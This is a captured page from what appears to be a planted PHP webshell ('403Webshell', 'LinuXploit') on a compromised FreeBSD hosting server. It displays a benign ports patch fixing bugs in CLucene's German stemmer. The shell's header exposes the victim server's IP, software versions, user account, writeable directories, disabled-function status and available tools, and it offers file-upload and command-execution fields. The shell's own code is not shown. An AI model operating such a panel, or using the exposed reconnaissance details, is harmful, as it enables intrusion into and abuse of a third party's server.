403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.116
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/textproc/clucene/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/textproc/clucene/files/patch-src__contribs-lib__CLucene__analysis__de__GermanStemmer.cpp
--- src/contribs-lib/CLucene/analysis/de/GermanStemmer.cpp.orig	2011-03-16 20:21:07.000000000 -0400
+++ src/contribs-lib/CLucene/analysis/de/GermanStemmer.cpp	2013-03-27 17:12:31.000000000 -0400
@@ -16,7 +16,7 @@
     }
 
     TCHAR* GermanStemmer::stem(const TCHAR* term, size_t length) {
-      if (length < 0) {
+      if (length <= 0) {
         length = _tcslen(term);
       }
 
@@ -38,7 +38,7 @@
     }
 
     bool GermanStemmer::isStemmable(const TCHAR* term, size_t length) const {
-      if (length < 0) {
+      if (length <= 0) {
         length = _tcslen(term);
       }
       for (size_t c = 0; c < length; c++) {
@@ -144,7 +144,7 @@
           {
             buffer.setCharAt( i, _T('$') );
             buffer.deleteChars( i + 1, i + 3 );
-            substCount =+ 2;
+            substCount += 2;
           }
           else if ( c == _T('c') && buffer.charAt( i + 1 ) == _T('h') ) {
             buffer.setCharAt( i, 0xa7 ); // section sign in UTF-16

Youez - 2016 - github.com/yon3zu
LinuXploit